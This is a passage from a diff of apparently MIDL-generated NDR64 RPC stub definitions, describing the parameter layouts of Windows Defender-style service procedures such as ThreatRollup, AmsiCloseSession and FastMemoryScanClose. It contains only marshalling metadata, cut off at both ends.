(NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1022_t __midl_frag1022 = +{ +/* *Struct_2640_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1023 +}; + +static const __midl_frag1021_t __midl_frag1021 = +{ +/* **Struct_2640_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1022 +}; + +static const __midl_frag1018_t __midl_frag1018 = +{ +/* Proc105_ServerMpRpcThreatRollup */ + { + /* Proc105_ServerMpRpcThreatRollup */ /* procedure Proc105_ServerMpRpcThreatRollup */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1021, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1014_t __midl_frag1014 = +{ +/* *Struct_970_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag52 +}; + +static const __midl_frag1012_t __midl_frag1012 = +{ +/* Proc104_ServerMpRpcDbgSendCallbackNotification */ + { + /* Proc104_ServerMpRpcDbgSendCallbackNotification */ /* procedure Proc104_ServerMpRpcDbgSendCallbackNotification */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag52, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1007_t __midl_frag1007 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag1006_t __midl_frag1006 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1007 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1005_t __midl_frag1005 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1006 +}; + +static const __midl_frag1003_t __midl_frag1003 = +{ +/* Proc103_ServerMpRpcTcgLogApplyExtResult */ + { + /* Proc103_ServerMpRpcTcgLogApplyExtResult */ /* procedure Proc103_ServerMpRpcTcgLogApplyExtResult */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1005, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag998_t __midl_frag998 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ /* Offset */ + } +}; + +static const __midl_frag997_t __midl_frag997 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag998 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag996_t __midl_frag996 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag997 +}; + +static const __midl_frag995_t __midl_frag995 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag996 +}; + +static const __midl_frag985_t __midl_frag985 = +{ +/* Proc102_ServerMpRpcTcgLogScan */ + { + /* Proc102_ServerMpRpcTcgLogScan */ /* procedure Proc102_ServerMpRpcTcgLogScan */ + (NDR64_UINT32) 23986240 /* 0x16e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 104 /* 0x68 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1005, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag995, + { + /* arg_5 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag980_t __midl_frag980 = +{ +/* Proc101_ServerMpRpcAmsiCloseSession */ + { + /* Proc101_ServerMpRpcAmsiCloseSession */ /* procedure Proc101_ServerMpRpcAmsiCloseSession */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2164, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag976_t __midl_frag976 = +{ +/* *Struct_2558_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag952 +}; + +static const __midl_frag975_t __midl_frag975 = +{ +/* Proc100_ServerMpRpcFastMemoryScanCacheInfo */ + { + /* Proc100_ServerMpRpcFastMemoryScanCacheInfo */ /* procedure Proc100_ServerMpRpcFastMemoryScanCacheInfo */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 128 /* 0x80 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag952, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag969_t __midl_frag969 = +{ +/* Proc99_ServerMpRpcFastMemoryScanClose */ + { + /* Proc99_ServerMpRpcFastMemoryScanClose */ /* procedure Proc99_ServerMpRpcFastMemoryScanClose */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag1156, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag965_t __midl_frag965 = +{ +/* *Struct_110_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag60 +}; + +static const __midl_frag964_t __midl_frag964 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag963_t __midl_frag963 = +{ +/* union_2142 */ + { + /* union_2142 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag964, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 7 /* 0x7 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 0 /* 0x0 */, + &__midl_frag895, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag897, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag905, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag909, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 4 /* 0x4 */, + &__midl_frag911, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 5 /* 0x5 */, + &__midl_frag916, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 6 /* 0x6 */, + &__midl_frag921, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag962_t __midl_frag962 = +{ +/* Struct_2442_t */ + { + /* Struct_2442_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2442_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag963 + }, + { + /* Struct_2442_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag961_t __midl_frag961 = +{ +/* *Struct_2442_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + 